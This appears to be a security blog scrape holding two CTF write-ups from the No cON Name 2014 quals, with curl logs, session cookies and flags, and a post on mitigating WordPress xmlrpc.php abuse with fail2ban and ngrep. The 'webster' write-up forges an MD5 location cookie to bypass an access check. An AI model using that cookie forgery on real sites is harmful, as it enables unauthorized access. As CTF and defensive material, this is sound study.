* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7facf480d000) send_pipe: 1, recv_pipe: 0
* About to connect() to port 443 (#0)
*   Trying
* Connected to ( port 443 (#0)
* TLS 1.0 connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* Server certificate:
> GET /makemefeelweb/login.php HTTP/1.1
> User-Agent: curl/7.30.0
> Host:
> Accept: */*
> Cookie: JSESSIONID=&amp;lt;strong&amp;gt;NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==&amp;lt;/strong&amp;gt;; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;
< HTTP/1.1 200 OK
* Server nginx is not blacklisted
< Server: nginx
< Date: Sun, 14 Sep 2014 09:51:19 GMT
< Content-Type: text/html
< Content-Length: 44
< Connection: keep-alive
< Strict-Transport-Security: max-age=15768000
* Connection #0 to host left intact

flag: NcN_778064be6556e64577517875a8710b0abeba1578

ps: Thanks to my dcua team mates.

WEBster [No cON Name 2014 CTF – QUALS]

This year “No cON Name Capture The Flag” quals had more than three challenges to compete for the final, so big thanks to organizers to extend last year limit. At now ( 09:27 am GMT+2 ), @DefCon-UA (dcua team) have finished all challenges and have left +12 hours for competition’s end. So it’s time to draft some web write-ups.

all finished

First “webster” 200 points web challenge, show us a login form that after multiples sqli, xpath, ldap… injections with no luck,  tried login common accounts.

Username ‘test’ and password ‘test’ was the lucky one to access main private area.



We have id, filename, location, username on 4 files where captain obvious says flag.txt is our target file. But not to fast, something is blocking our tries to read this file. It says:

"Seems that you are not in the right place for that"

So am i not in the right place? where could we go to get permissions on that file ? See the cookies, pay close attention in one called ‘loc’:

pantallazo_ 2014-09-14 a la(s) 10.41.31



Oh! Seems md5 for something we can’t find in our first try. But wait, maybe location means ip ? let’s try wuth the one appears on the column;

>>> ip=''
>>> hashlib.md5(ip).hexdigest()

Yes! It’s the same ip in hash format, so can you figure out the rest? Let’s try to replace this cookie with (f528764d624db129b32c21fbca0cb8d6) location.

$ curl -vvv -k '' -H 'Cookie: loc=f528764d624db129b32c21fbca0cb8d6; valid_user=test;  PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;'
* Adding handle: conn: 0x7fe7cb804000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fe7cb804000) send_pipe: 1, recv_pipe: 0
* About to connect() to port 443 (#0)
*   Trying
* Connected to ( port 443 (#0)
* TLS 1.0 connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* Server certificate:
> GET /webster/content.php?op=4 HTTP/1.1
> User-Agent: curl/7.30.0
> Host:
> Accept: */*
> Cookie: loc=f528764d624db129b32c21fbca0cb8d6; valid_user=test;  PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;
< HTTP/1.1 200 OK
* Server nginx is not blacklisted
< Server: nginx
< Date: Sun, 14 Sep 2014 08:55:48 GMT
< Content-Type: text/html
< Content-Length: 38
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Strict-Transport-Security: max-age=15768000


flag: NCN_f528764d624db129b32c21fbca0cb8d6

ps: Thanks to my dcua team mates.


Avoiding wordpress xmlrpc attack. How to mitigate?

This entry was unintended. Thanks to the people that yesterday launch an attack over an updated wordpress. I have noticed this attack few hours later from its start when i see the consumption of server CPU resources:


That's the time and consumption of resources.
That’s the time and consumption of resources.

It is strange and a clear sign that something is not being regular, so next step is view logs and filter some network packets with ngrep, a fantastic tool for real packet monitoring. In this process you can realize from where are the requests because you know  web server is pointing directly over this consumption resources. I have tweeted an image of the attack containing the xmlrpc’s requests.

xmlrpc requests
xmlrpc requests


What is xmlrpc.php and what is it used?

In WordPress there is a pingback functionality that allows bloggers linking content from different people and other interesting methods. if you have used mobile apps for check comments or publish content, you have used XML-RPC. I’m not going to discuss if this is secure or not (obviosuly not) and at the end of the post i will link of a expermiental plugin called secure-xmlrpc that adds a authorization layer. But, what is the request – response xml structure of this multifunctional file?  Let’s see an example of retrieve the user posts:

<?xml version="1.0"?>

Simple. A method call, method name and params-value inside. xmlrpc only accept POST requests and well formatted data. As far as we know we are not discovering nothing. The interesting part for the attacker perspective is to abuse of its behavior. We see in the screenshot that a lot of requesting POST on xmlrpc.php. That exactly we need to start to stop the attack. Let’s see how.

 1. Unable xmlrpc.php

a) Move the file to another filename. The attack don’t stop but they have a 404 not found, so in the case of they are abusing to stole your credentials you have achieve an important thing: they don’t get any credentials. But in the other way, your server consumes so many resources and this is bad. That’s the case that bad guys are abusing xmlrpc.php to launch ddos attacks against other, some more important, target than you.

b) Tell wordpress  don’t want to use xmlrpc by adding filter unset on function’s theme. Let’s see how, inside wp-content/theme/theme_name/functions.php:

add_filter( ‘xmlrpc_methods’, function( $methods ) {
   unset( $methods[''] );
   return $methods;
} );

2. Start to ban the zombies

Now that attacker probably notice the change it’s time to tell them they are not welcome. If you are familiar with fail2ban, sure you are, you know you can add jails and filters, so let’s see what want ban in the filter and apply. Add a new jail vim /etc/fail2ban/jail.conf:

enabled  = true
filter   = xmlrpc
action   = iptables[name=xmlrpc, port=http, protocol=tcp]
logpath = /some/path/*/to/statistics/logs/access_log
bantime = 43600
maxretry = 1

Change logpath to match with yours. This is the config of the jail but need a filter to trigger the action with iptables. Let’s edit and configure. Remember we have a lot of request to POST xmlrpc.php ? Yes, this is what we need in our regular expression in /etc/fail2ban/filter.d/xmlrpc.conf.

failregex = ^<HOST> .*POST .*xmlrpc\.php.*
ignoreregex =

That’s it. Restart fail2ban and see the log adding the new jail. In my case after an hour the attack cease. More than 25.000 bodies from some kind of botnet was laying down all over the ciberspace. Become into carrion. Ha-Ha. Next time better luck.


It’s very important to understand how software works, you can abuse it and / or you can help to protect it. This kind of attack is well-known and as i mentioned before you can replace xmlrpc method with this plugin ( The solution to disable xml rpc is temporally because you need it for wordpress updates and other commented functionality.

Other important thing is xmlrpc attack happens even you have the latest wordpress version patched with the latest plugins. It’s true that 3.9.2 have changed XML-RPC behavior, but not completely.

To finish i have say ngrep is fantastic and help monitor all the process, this way:

ngrep -q -W byline "GET|POST HTTP"

UPDATE: More clear graphic about server goes back to the normality.

server goes back to the normality
server goes back to the normality